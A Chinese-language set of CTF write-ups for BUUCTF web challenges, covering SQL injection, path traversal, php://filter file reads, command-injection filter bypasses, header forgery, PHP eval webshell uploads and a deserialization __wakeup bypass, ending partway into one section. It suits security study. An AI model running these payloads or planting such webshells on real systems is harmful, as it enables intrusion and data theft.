目錄
一.SQL注入
(1)[極客大挑戰 2019]EasySQL?
萬能密碼?
(7)[SUCTF 2019]EasySQL
堆疊注入?
解一:?
解二:
(10)[強網杯 2019]隨便注?
堆疊注入
解一:?
解二:??
解三:?
(8)[極客大挑戰 2019]LoveSQL??
聯合查詢?
(15)[極客大挑戰 2019]BabySQL
二.代碼審計?
(2)[極客大挑戰 2019]Havefun?
GET傳參?
(3)[HCTF 2018]WarmUp
三.文件包含-PHP封裝協議??
(4)[ACTF2020 新生賽]Include
PHP封裝協議??
(9)[極客大挑戰 2019]Secret File?
四.命令注入
(5)[ACTF2020 新生賽]Exec
(6)[GXYCTF2019]Ping Ping Ping?
方法一:拼接繞過法?
方法二:內聯執行法
方法三:sh編碼?
五.Http?
(11)[極客大挑戰 2019]Http?
六.一句話木馬?
(12)[極客大挑戰 2019]Upload
(13)[極客大挑戰 2019]Knife
(14)[ACTF2020 新生賽]Upload?
七.備份文件&反序列化
(16)[極客大挑戰 2019]PHP?
方法一:用序列化加%00
方法二:直接url編碼(不能用url編碼工具)
(17)[ACTF2020 新生賽]BackupFile?
八.PHP?
(18)[RoarCTF 2019]Easy Calc
方法一:PHP的字符串解析特性
方法二:http走私攻擊
九.弱相等&強相等&md5?
(19)[極客大挑戰 2019]BuyFlag?
(20)[BJDCTF2020]Easy MD5
一.SQL注入
(1)[極客大挑戰 2019]EasySQL?
萬能密碼?
admin
' or 1#?
1'or 1#
1'or 1=1
1' or '1'='1(有時不行,特別是用戶)
(7)[SUCTF 2019]EasySQL
先判斷一下是數字型(1)還是字符型(1'),輸入1有回顯,輸入1'無回顯無error,初步可以判斷目標字段是數字型
當你通過輸入?
1
?能正常獲取到回顯,是因為在 SQL 語句中,對于數字型字段,直接傳入一個數值(如?1
)是符合語法邏輯的,數據庫能夠正常執行查詢并返回結果。而輸入?1'
?無回顯,是因為單引號?'
?在 SQL 中用于標識字符串,對于數字型字段,1'
?這種輸入破壞了 SQL 語句的語法結構,導致查詢出錯無法返回正常結果。?
堆疊注入?
堆疊注入簡單講就是多條sql語句一起執行,在Mysql中,我們是通過;號來結束一條語句,只需要在每個sql語句后面加上;即可同時執行所有語句
爆出數據庫:1;show databases;
回顯信息 Array ( [0] => 1?) Array ( [0] => ctf?) Array ( [0] => ctftraining?) Array ( [0] => information_schema?) Array ( [0] => mysql?) Array ( [0] => performance_schema?) Array ( [0] => test?) 是以數組形式呈現的,每個 Array 代表一個數據庫名,1是異常顯示?
爆表:1;show tables;
?
爆字段:1;show columns from Flag;
輸入后回顯Nonono.,猜測有被過濾?
解一:?
試了一下,本題沒有過濾*,用*查詢flag中的所有字段,所以直接構造:*,1
相當于select *,1 from flag
會返回 flag 表中的所有列(由 * 表示),并且會額外添加一個值恒為 1 的列到查詢結果集中
?
解二:
1;set sql_mode=pipes_as_concat;select 1
將 sql_mode 設置為 pipes_as_concat 時,意味著在后續的 SQL 語句中,邏輯或?|| 會被當作字符串連接操作符來使用
相當于select concat(1,flag) from Flag
sql注入不區分大小寫,但過濾區分大小寫
(10)[強網杯 2019]隨便注?
1'報error,說明是'閉合
或者這樣理解
因為1或1'#有回顯,所以是'閉合
?
1
2
3
查詢3時無回顯,說明只有有兩個字段
或者這樣('前面的1不能夠省)
1' order by 1 #
1' order by 3 #
測試字段數,到3時報error,說明字段數為2
?
?
#和-- q在 SQL 中都用于注釋(q(顯眼作用)可以換成其他字母或數字,也可以不要,但前面要有個空格)?
1;set sql_mode=pipes_as_concat;select 1
發現select被過濾了?
?
整體功能概述
這段代碼的主要功能是使用正則表達式來檢查字符串 $inject 中是否包含特定的 SQL 關鍵字(如 select、update、delete 等)或點號(.)。這通常用于防止 SQL 注入攻擊,通過檢測用戶輸入中是否包含可能用于構造惡意 SQL 語句的關鍵字。
1. preg_match 函數
preg_match 是 PHP 中的一個正則表達式匹配函數,用于在字符串中查找與指定正則表達式匹配的內容。
2. 正則表達式模式 "/select|update|delete|drop|insert|where|\./i"
正則表達式模式通常由兩部分組成:模式本身和修飾符。
模式部分:select|update|delete|drop|insert|where|\.
|:是正則表達式中的或運算符,表示匹配 | 分隔的任意一個模式。
select、update、delete、drop、insert、where:分別代表 SQL 語句中的關鍵字,用于查詢、更新、刪除、刪除表、插入數據和條件篩選等操作。
\.:點號在正則表達式中有特殊含義,表示匹配任意單個字符,因此需要使用反斜杠 \ 進行轉義,這里表示匹配實際的點號字符。
修飾符部分:i
i 是一個修飾符,表示不區分大小寫。這意味著無論 $inject 中的關鍵字是大寫、小寫還是混合大小寫,都能被匹配到。
3. $inject
這是一個變量,代表要進行匹配的字符串,通常是用戶輸入的內容。
4. return 語句
return 語句用于將 preg_match 函數的返回值返回。preg_match 函數返回值的含義如下:
如果匹配成功,返回 1。
如果沒有匹配到任何內容,返回 0。
如果發生錯誤,返回 false。
select一被禁用,聯合查詢,報錯注入,布爾,時間盲注就都不可以使用了。只剩下了堆疊注入?
堆疊注入
爆數據庫:1';show databases;
或者
1';show databases;#?
1';show databases;-- q
爆表名:1'; show tables;#
?
爆字段
1'; show columns from words;#
1'; show columns from `1919810931114514`;#
注意:表名為數字時,要用反引號`包起來查詢
?
解一:?
1,通過 rename 先把 words 表改名為其他的表名。
2,把 1919810931114514 表的名字改為 words 。
3,給新 words 表添加新的列名 id 。
4,將 flag 改名為 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
alter table words add id int unsigned not Null auto_increment primary key;
向 words 表中添加一個名為 id 的列,數據類型為 int unsigned(無符號整數),NOT NULL 表示該列不允許為空,AUTO_INCREMENT 表示該列的值會自動遞增,PRIMARY KEY 表示將該列設置為主鍵。
alter table words change flag data varchar(100);
將 words 表中的 flag 列重命名為 data,并將其數據類型修改為 varchar(100),即最大長度為 100 的可變長度字符串。
解二:??
因為select被過濾了,所以先將select * from `1919810931114514`進行16進制編碼
1’;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
SET 語句:SET 用于設置用戶變量的值,在 MySQL 中,用戶變量以 @ 開頭。這里使用 SET 語句將十六進制編碼的字符串賦值給變量 @a
prepare execsql from @a;
prepare 語句:這是 SQL 的預處理語句,用于準備一個 SQL 語句,以便后續執行。execsql 是預處理語句的名稱,可以自定義。from @a 表示從變量 @a 中獲取要準備的 SQL 語句。
prepare 語句會對十六進制編碼的字符串進行解碼,將其轉換為可執行的 SQL 語句。這樣,原本被編碼的 select 語句就可以正常使用了
execute 語句:用于執行由 prepare 語句創建的預處理 SQL 語句。這里 execsql 是前面 PREPARE 語句定義的預處理語句名稱
select可以在一條語句里對多個變量同時賦值,而SET只能一次對一個變量賦值。?
這樣會出錯
1’;set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare?execsql from @a;execute execsql;#
?
&& 是 PHP 中的邏輯與運算符,用于組合兩個布爾表達式。只有當兩個表達式的結果都為 true 時,整個邏輯表達式的結果才為 true;只要有一個表達式的結果為 false,整個邏輯表達式的結果就為 false。
因此,strstr($inject, "set") && strstr($inject, "prepare") 的結果為 true 時,表示字符串 $inject 中同時包含 "set" 和 "prepare" 這兩個子字符串就會返回上述界面,相當于同時過濾"set" 和 "prepare" ,一個大寫Set即可繞過
解三:?
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
handler 語句:handler 是 MySQL 特有的語句,用于直接操作表中的數據,可實現對表的打開、讀取、關閉等操作,且無需使用 select關鍵字。
open 操作:此操作的作用是打開指定的表,這里指定的表名為 1919810931114514。
as `a`:為打開的表指定一個別名 `a`,后續可通過這個別名來操作該表。
handler `a` read next;
這部分代碼使用 handler 語句的 read next 操作,通過之前指定的別名 a 來讀取 1919810931114514 表中的下一行數據。首次執行 read next 時,會讀取表中的第一行數據;后續每次執行,都會讀取表中的下一行數據。
(8)[極客大挑戰 2019]LoveSQL??
聯合查詢?
'#
NO,Wrong username password!!!
'
error
以上兩種方式都可以判斷是'閉合,推薦第一種,因為第二種還可能"閉合?
'or 1#
Login Success!?
or 1#
"or 1#
NO,Wrong username password!!!
也可以判斷是字符型'閉合
1' order by 1#
1' order by 2#
1' order by 3#?
或者 'order by 3#? (1和'的空格都可以不要),一直到3都回顯正常(沒有報錯,只是說賬號密碼錯誤)。
1' order by 4#
直到order by 4的時候,報錯了。判斷出有三個字段,接下來開始尋找注入點。
?
1' union select 1,2,3#
或者
/check.php?username=1&password=1' union select 1,2,3%23
2、3回顯,存在注入點
爆數據庫:
1' union select 1,2,database()#
或者
1' union select 1,database(),3#
得到數據庫名為geek
?爆第一個表名:geekuser
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
爆第二個表名:l0ve1ysq1
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#
或者使用group_concat()一次性爆出所有表名,順便利用2爆數據庫名
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
爆列名:
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
——id,username,password
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
——id,username,password?
?爆數據:
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
或者(#的url編碼為%23)
/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
最后查看源碼
而下面這個表得到的是無用信息
1' union select 1,2,group_concat(id,username,password) from geekuser#
(15)[極客大挑戰 2019]BabySQL
判斷閉合
'#
NO,Wrong username password!!!
'
error
以上兩種方式都判斷是'閉合
由報錯信息可知存在SQL注入漏洞
常規注入:/check.php?username=admin&password=1' union select 1#
或者直接登錄?1' union select 1#
根據報錯信息猜測union 、select可能被過濾了,試一下雙寫繞過(一個完整的關鍵字插入到同一完整關鍵字中間)
/check.php?username=admin&password=1' ununionion seselectlect?1#
繼續報錯,可能#也被過濾了,#換成url編碼%23,有變化,證明有戲,或者-- q(它會自動變為--%20q)?
/check.php?username=admin&password=1' ununionion seselectlect 1%23
或者
/check.php?username=admin&password=1' ununionion seselectlect 1--%20q
/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23
字段為3,2和3回顯
爆數據庫:
/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
information_schema.schemata 是 MySQL 系統數據庫 information_schema 中的一個表,這個表存儲了所有數據庫的元數據信息,通過查詢這個表可以獲取到當前 MySQL 服務器上所有數據庫的名稱。
上面這個側重于獲取所有數據庫名稱,下面這個專注于獲取當前使用的數據庫名稱。
/check.php?username=admin&password=1' ununionion seselectlect 1,2,database()%23
而且如果直接information_schema.schemata,它就顯示infmation_schema.schemata這個表不存在,它把o和r過濾了一次,所以才有infoorrmation_schema.schemata?
猜測flag在ctf里
爆表:(where時報錯,所以它也被過濾了)
/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23
查字段名:(爆字段名就是爆列名)?
/check.php?username=admin&password=1?' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23?
爆數據:
/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag%23
UNION 是 SQL 中的操作符,用于將兩個或多個 SELECT 語句的結果集合并成一個結果集。使用 UNION 要求參與合并的 SELECT 語句列數和數據類型要一致
from ctf.Flag:指定查詢的數據來源,ctf 是數據庫名,Flag 是表名。表示從 ctf 數據庫的 Flag 表中查詢數據。
group_concat(flag):group_concat 是一個聚合函數,它會將 flag 字段(或者又叫flag列名)中的所有值連接成一個字符串。
ctf.Flag的ctf不能省,因為當前使用的數據庫名是geek,不是ctf,所以你要指定訪問,不然報錯
二.代碼審計?
(2)[極客大挑戰 2019]Havefun?
GET傳參?
?
發現一個cat變量,通過get方式傳參,如果cat=dog輸出flag,構造:?cat=dog
(3)[HCTF 2018]WarmUp
查看源碼,查找php,依次訪問?
?
?
is_string():檢測變量是否是字符串
isset():檢測變量是否已設置并且非 NULL
in_array(要搜索的值,要搜索的數組):搜索數組中是否存在指定的值
mb_substr($page,n,m):返回page中從第n位開始,到n+m位字符串的值
mb_strpos():查找字符串在另一個字符串中首次出現的位置
urldecode():將url編碼后的字符串還原成未編碼的樣子
發現最底部的if語句,有三個條件,第一個判斷文件不能為空(檢查是否傳了file參數),第二這個傳的參數是字符串,第三要過白名單檢測,過了之后包含隱藏了flag的文件。
白名單是source.php和hint.php,又有mb_strpos和mb_substr截取內容,碰到?就截止,所以只需要輸入 ?file=source.php?或者?file=source.php?即可繞過白名單檢測,然后在輸入../逐級跳轉目錄讀取flag即可,可以一個一個試,發現是5級目錄
?file=source.php?../../../../../ffffllllaaaagggg?
或者?file=hint.php?../../../../../ffffllllaaaagggg
又或者
?file=hint.php?../../../../../../../../../../ffffllllaaaagggg
可多,不可少
三.文件包含-PHP封裝協議??
(4)[ACTF2020 新生賽]Include
PHP封裝協議??
?
PHP封裝協議:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中獨有的一個協議,可以作為一個中間流來處理其他流,可以進行任意文件的讀取;根據名字filter,可以很容易想到這個協議可以用來過濾一些東西;使用不同的參數可以達到不同的目的和效果:
resource=<要過濾的數據流>?指定了你要篩選過濾的數據流。 必選
read=<讀鏈的篩選列表>可以設定一個或多個過濾器名稱,以管道符(|)分隔。 可選
write=<寫鏈的篩選列表>可以設定一個或多個過濾器名稱,以管道符(|)分隔。 可選
<;兩個鏈的篩選列表> 任何沒有以 read= 或write=作前綴 的篩選器列表會視情況應用于讀或寫鏈。
php://filter與包含函數結合時,php://filter流會被當作php文件執行。所以我們一般對其進行編碼,阻止其不執行。從而導致任意文件讀取。
read=convert.base64-encode,用base64編碼輸出,不然會直接當做php代碼執行,看不到源代碼內容。
構造:?file=php://filter/read=convert.base64-encode/resource=flag.php
(php://filter協議,用base64編碼的方式來讀文件flag.php;這時頁面會顯示出源文件flag.php經過base64編碼后的內容,然后base64解碼就可以看到flag)
(9)[極客大挑戰 2019]Secret File?
BurpSuite抓包:
1.代理開攔截
2.打開內置瀏覽器
3.加載url
4.放行
5.關攔截?
?內置瀏覽器ctrl+a,點開所有隱藏連接
?
查看響應,發現一個被注釋掉的secr3t.php
查看:/secr3t.php?
?
提示flag放在了flag.php里,查看:/flag.php
?
還是沒有出現flag,找到了但是看不到,此時又想到了PHP的封裝協議,
構造:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
四.命令注入
(5)[ACTF2020 新生賽]Exec
ls(list files):列出目前工作目錄所含文件及子目錄
cat(concatenate):用于連接文件并打印到標準輸出設備上
列出當前工作目錄所含文件及子目錄: 127.0.0.1|ls
只出現index.php,查看index.php:127.0.0.1|cat index.php
查看根目錄:127.0.0.1|ls /? ?
或者; cd /; ls
出現flag,查看flag:127.0.0.1|cat /flag?
在 Linux 文件系統中,
?/
?是根目錄的表示符號。路徑分為絕對路徑和相對路徑。絕對路徑是以?/
?開頭,表示從根目錄開始的路徑。/flag
?表示從根目錄下查找名為?flag
?的文件,使用?cat
?命令(用于查看文件內容)去讀取?/flag
?文件的內容。如果不加?
/
,即?cat flag
?,這是一個相對路徑,它表示在當前所在目錄下去查找名為?flag
?的文件。如果當前目錄下不存在?flag
?文件,就會提示找不到該文件的錯誤信息。除非先 cd / 切換到根目錄,此時根目錄成當前工作目錄,再用 cat flag (相對路徑 )能找到。; cd /; cat flag
?
(6)[GXYCTF2019]Ping Ping Ping?
提示/?ip=
輸入/?ip=127.0.0.1,回顯成功
列出當前目錄的所有文件:/?ip=127.0.0.1|ls
?
查看flag.php:?ip=127.0.0.1|cat flag.php
?
fxck your space就是過濾空格的意思
命令中空格被過濾的解決方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt?($IFS$9 $9指傳過來的第9個參數,可以換成其他數字)
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20轉換成字符串就是空格,這里通過變量的方式巧妙繞過) ?
第三個方法常用:/?ip=127.0.0.1|cat$IFS$9flag.php ??
試了之后發現flag也被過濾了?
查看另外一個index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php
?echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
過濾:
特殊符號:&、/、?、*、<、>、'、"、\、(、)、[、]、{、}
空白字符:[\x{00}-\x{20}] 表示 Unicode 編碼范圍從 0x00 到 0x20 的字符,涵蓋了所有空白字符,像空格、制表符、換行符等。
else if(preg_match("/ /", $ip)){
die("fxck your space!");
此正則表達式 / / 過濾的是單個空格字符
??} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
此正則表達式 /bash/ 過濾的是字符串 "bash"
??} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
此正則表達式 /.*f.*l.*a.*g.*/ 過濾的是包含字母 f、l、a、g 且這些字母可以被任意數量的其他字符分隔的字符串,例如 "flag"、"aflag"、"f1l2a3g" 等
好多都被過濾了;但最后有個變量a
方法一:拼接繞過法?
變量拼接字符串——將a的值覆蓋,然后進行繞過
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
總之,替換掉空格和flag,拼接成cat flag.php
可以拼接f;lag fl;ag fla;g,比如這樣也行
/?ip=127.0.0.1;a=ag;cat$IFS$9fl$a.php
或者將lag替換成x,繞過對flag的檢測
?ip=127.0.0.1;x=lag;cat$IFS$6f$x.php??
命令執行后頁面什么也沒有,查看源碼拿下flag{93fb0eb5-1144-4d1a-ae9b-fa5b3d14ccab}
方法二:內聯執行法
內聯函數:將指定的函數體插入并取代每一處調用該函數的地方。
可以看到代碼沒有過濾掉符號` ?,反引號在linux中作為內聯執行,執行輸出結果。所以可以利用內聯執行的方式直接打開flag文件
/?ip=127.0.0.1;cat$IFS$9`ls`
相當于先執行命令ls,再把ls得到的文件名全部用命令cat打開
方法三:sh編碼?
使用 base64 編碼的方式來繞過 flag 過濾。
加密命令
echo cat flag.php | base64
解密命令并執行
echo Y2F0IGZsYWcucGhw | base64 -d | sh
sh可以換成bash,但是bash被過濾了
這里用base64,也可以換成其他的編碼形式
然后用$IFS$9代替空格(I和;前后的空格可以省;前者可;可|)
/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
或者
/?ip=127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
又或者
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
?ip=127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
;和|的區別
A;B
返回A和滿足A的B
A|B
只返回滿足A的B?
五.Http?
(11)[極客大挑戰 2019]Http?
查看源代碼,搜索php,發現有一個Secret.php,點擊訪問?
提示:It doesn’t come from ‘https://Sycsecret.buuoj.cn’,也就是說這個頁面得來自https://Sycsecret.buuoj.cn,添加referer即可
題目是http ,很容易想起HTTP協議中的HTTP報文 header ,請求頭和響應頭。也就是有一些協議內容。比如上面提示不是來自https://Sycsecret.buuoj.cn,就可以在header中添加上 Referer:https://Sycsecret.buuoj.cn ,來偽造訪問來源,Referer協議就是告訴服務器我從哪里來,所以抓包修改。?
添加后訪問,提示請使用 Syclover 瀏覽器,這就可以想到用User-Agent協議來偽造訪問工具為 Syclover 瀏覽器,這個協議就是告訴服務器我是用什么訪問的。添加User-Agent: Syclover。再次提示No!!! you can only read this locally ,你只能在本地閱讀?
只能在本地,我們可以偽造本地ip 127.0.0.1,所以我們可以利用X-Forwarded-For協議來偽造只需要在 header 添加 X-Forwarded-For:127.0.0.1,再次訪問,這時得到
flag{56094062-41ae-4f1f-8621-267bb4122dc8}?
六.一句話木馬?
(12)[極客大挑戰 2019]Upload
?
提示的是圖片上傳,格式就是圖片格式
先創建一個木馬文件,以便后續用蟻劍鏈接
文件內容為
GIF89a <script language="php">eval($_POST['a']);</script>
用記事本來寫,改后綴名為phtml
先上傳一句話木馬,這里是phtml格式的
對.phtml文件的解釋: 是一個嵌入了PHP腳本的html頁面。
上傳此文件,然后提示Not image!
原因:我們上傳的是文件,不是它要求的圖片,格式不對,直接抓包修改格式
在內置瀏覽器也要重新上傳木馬
發送repeater模塊修改?
更改這個Content-Type: 為image/jpeg,即是我們上傳的文件格式繞過,這里PHP格式也不行,一直試到phtml可以(繞過后綴的有文件格式有php,php3,php4,php5,phtml.pht)?
蟻劍連接
URL地址為:/upload/12.phtml
連接密碼為:a
分別對應文件名和參數名
右鍵添加數據??
測試連接
連接成功
再添加
雙擊打開,flag在根目錄下
難找的話,右鍵打開虛擬終端,輸入:cat /flag
?
或者把1.txt(含木馬)改為1.jpg上傳,然后只改后綴名為1.phtml
不能上傳這個<?php eval($_POST[a]);?>?
(13)[極客大挑戰 2019]Knife
?
eval($_POST["Syc"]);
eval是PHP代碼執行函數,把字符串按照 PHP 代碼來執行。
$_POST PHP方法將參數Syc作為POST傳參方式
根據提示,打開蟻劍添加數據
密碼為:Syc
?
(14)[ACTF2020 新生賽]Upload?
?
不能直接上傳.phtml?
上傳一句話木馬
<?php eval($_POST[a]);?>
或者
GIF89a <script language="php">eval($_POST['a']);</script>
后綴名為.jpg
抓包,修改.jpg為.phtml(如果是第一個木馬,就改為.php)?
?
url為響應給的./uplo4d/74f569c7bc687698e79971a972e36dd6.phtml?
?
七.備份文件&反序列化
(16)[極客大挑戰 2019]PHP?
這兒提示備份網站,
所以我們嘗試著輸入網站源碼備份文件,看看能否訪問
常見的網站源碼備份文件后綴:
tar.gz,zip,rar,tar
常見的網站源碼備份文件名:
web,website,backup,back,www,wwwroot,temp
發現www.zip可以成功獲得網站源碼備份
或者
用dirsearch掃一下后臺目錄
dirsearch -u http://97a13367-80f4-4641-9db9-da99af59ff35.node5.buuoj.cn:81/ -e php
要點時間才能掃描完畢,結束標記:Task Completed
??
??
掃描報告里也可以搜索得到www.zip
其實這個工具一坨?
訪問一下,自動下載www.zip?
喜歡腳本?
"""url備份文件掃描腳本"""
import requests
from tqdm import tqdmurl1 = 'http://d6ed50c0-d6f1-40f5-80c6-27a14eece070.node5.buuoj.cn:81/'
with open('List1.txt') as f:list1 = f.read().splitlines()
list2 = ['tar', 'tar.gz', 'zip', 'rar', '7-zip', '7z', 'bak', 'swp', 'php.bak']
total_requests = len(list1) * len(list2)
with tqdm(total=total_requests, desc="Scanning URLs") as pbar:for i in list1:for j in list2:back = f"{i}.{j}"url = f"{url1}/{back}"response = requests.get(url, timeout=10)if response.status_code == 200:print(f"{back} {response.status_code}")if 'text/html' not in response.headers.get('Content-Type', '').lower():with open(f'XZ/{back}', 'wb') as file:file.write(response.content)pbar.update(1)
?
flag.php(這個flag一看就是假的,沒有這么簡單)?
index.php關鍵信息
發現文件包含 class.php 文件,并且文件是get 傳參,參數為 select
unserialize()?:從已存儲的表示中創建 PHP 的值列化后的字符串。
若被反序列化的變量是一個對象,在成功地重新構造對象之后,PHP 會自動地試圖去調用?__wakeup()成員函數(如果存在)
//$res=unserialize(@$select);
這段代碼的作用是將一個字符串反序列化為一個PHP變量。?
?
代碼的步驟如下:?
1. @$select 表示選擇變量$select的值,如果$select存在則取其值,否則返回空值。?
2. unserialize() 函數將字符串反序列化為一個PHP變量。?
3. 將反序列化后的結果賦值給$res變量?
class.php
<?php
// 包含名為 flag.php 的文件,該文件可能包含敏感信息(如標志、密鑰等)
include 'flag.php';// 關閉所有 PHP 錯誤報告,避免在頁面上顯示錯誤信息,增強安全性
error_reporting(0);// 定義一個名為 Name 的類,用于處理用戶的用戶名和密碼
class Name{// 聲明一個私有屬性 $username,初始值為 'nonono'private $username = 'nonono';// 聲明一個私有屬性 $password,初始值為 'yesyes'private $password = 'yesyes';// 構造函數,當創建 Name 類的新對象時自動調用// 接收兩個參數 $username 和 $password,用于初始化對象的屬性public function __construct($username, $password){// 將傳入的 $username 參數賦值給對象的 $username 屬性$this->username = $username;// 將傳入的 $password 參數賦值給對象的 $password 屬性$this->password = $password;}// __wakeup 魔術方法,當對象被反序列化時自動調用function __wakeup(){// 將對象的 $username 屬性重置為 'guest'$this->username = 'guest';}// __destruct 魔術方法,當對象被銷毀時自動調用function __destruct(){// 檢查對象的 $password 屬性是否不等于 100if ($this->password != 100) {// 如果不等于 100,輸出提示信息,表明是黑客行為echo "</br>NO!!!hacker!!!</br>";// 輸出用戶名提示信息echo "You name is: ";// 輸出對象的 $username 屬性值echo $this->username;// 換行echo "</br>";// 輸出密碼提示信息echo "You password is: ";// 輸出對象的 $password 屬性值echo $this->password;// 換行echo "</br>";// 終止腳本執行die();}// 檢查對象的 $username 屬性是否嚴格等于 'admin'if ($this->username === 'admin') {// 如果等于 'admin',使用 global 關鍵字引入全局變量 $flagglobal $flag;// 輸出全局變量 $flag 的值,可能是敏感信息echo $flag;} else {// 如果 $username 不等于 'admin',輸出友好提示信息echo "</br>hello my friend~~</br>sorry i can't give you the flag!";// 終止腳本執行die();}}
}
?>
本題的關鍵,就是username的賦值。因為 __wakeup 會對userneme又進行一次賦值的更改,所以我們要想辦法繞過該函數, 并且在一開始我們要改變 username的賦值
通過反序列化來執行destruct函數,如果password=100,username=admin,可以獲得flag
構造序列化
一.直接在class.php添加
// 創建 Name 類的對象,設置用戶名和密碼 $obj = new Name('admin', 100);// 序列化對象 $serialized = serialize($obj);// 輸出序列化后的字符串 echo $serialized;
PHP 在線工具 | 菜鳥工具
接著執行反序列化,執行之前限制性wakeup函數,但是__wakeup函數會修改username的值,所以一個想辦法繞過wakeup
繞過方法:當成員屬性數目大于實際數目時可繞過wakeup方法
// __wakeup ?在反序列化時,當前屬性個數大于實際屬性個數時,就會跳過__wakeup()
所以我們要將 2 改為 3 或者 比2大的數字
同時,我們要將口變為 %00 ,若不寫,在我們復制的時候就會減少空格
方法一:用序列化加%00
private:屬性被序列化的時候屬性名會變成%00類名%00屬性名,長度跟隨屬性名長度而改變。加%00的目的就是用于替代\0
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
其他構造方法??
<?phpclass Name{private $username = 'admin';private $password = '100';
}$select = new Name();
$res = serialize(@$select);
echo $res;
?>
//$select = new Name();
這段代碼創建了一個名為$select的新對象,該對象是通過調用Name類的構造函數來實例化的
1. 創建一個新的對象$select。?
2. 使用關鍵字new來實例化對象。?
3. 實例化對象時調用Name類的構造函數,該構造函數可能包含一些初始化代碼或設置對象的初始狀態。?
?
總結:這段代碼創建了一個新的Name對象$select,并調用了該對象的構造函數來初始化對象。
O:4:"Name"
O:表示這是一個對象(Object)的序列化數據。
4:表示對象類名的長度。
"Name":表示對象所屬的類名是 Name。
:2:
表示該對象有 2 個屬性。
{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
這部分是對象屬性的具體內容,每個屬性由鍵值對組成,多個鍵值對之間沒有分隔符直接排列。具體解釋如下:
s:14:"Nameusername"
s:表示屬性名是字符串(String)類型。
14:表示屬性名 "Nameusername" 的長度。
"Nameusername":屬性名。
s:5:"admin"
s:表示屬性值是字符串(String)類型。
5:表示屬性值 "admin" 的長度。
"admin":屬性 "Nameusername" 對應的值。
s:14:"Namepassword"
s:表示屬性名是字符串(String)類型。
14:表示屬性名 "Namepassword" 的長度。
"Namepassword":屬性名。
s:3:"100"
s:表示屬性值是字符串(String)類型。
3:表示屬性值 "100" 的長度。
"100":屬性 "Namepassword" 對應的值。
而我們的Nameusername 只有12個字符,這里的14怎么來的呢?
大家可以理解為Name 和username 是拼接起來的 所以在Name和username這里各有一個空格,所以就是14個字符了
又因為我們的空格沒有被實體化 ?這里我們需要把空格寫出來,而空格的url編碼是%00
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
至于上面那個2是為什么要變成3
?__wakeup ?在反序列化時,當前屬性個數大于實際屬性個數時,就會跳過__wakeup()
所以我們要將 2 改為 3 或者 比2大的數字
同時,我們要將口變為 %00 ,若不寫,在我們復制的時候就會減少空格
當然這種構造也行?
<?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$a = new Name('admin', 100);
var_dump(serialize($a));?>
方法二:直接url編碼(不能用url編碼工具)
<?php
class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
var_dump(urlencode(serialize($a)));//進行url編碼,防止%00對應的不可打印字符在復制時丟失
?>
只需要把2改為3,?select=....,不要雙引號?
?
(17)[ACTF2020 新生賽]BackupFile?
題目提示BackupFile,備份文件夾的意思
打開腳本下載的index.php.bak
發現它通過key變量get傳參,要求此變量必須是數字,且取整數之后值為123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
取key的值為123,?key=123
八.PHP?
(18)[RoarCTF 2019]Easy Calc
查看源碼,變量為num,請求類型為GET,以及發現一個calc.php?
訪問:/calc.php
解題知識點:
chr() 函數:從指定的 ASCII 值返回字符。?
file_get_contents() 函數:把整個文件的內容讀入到一個字符串中。
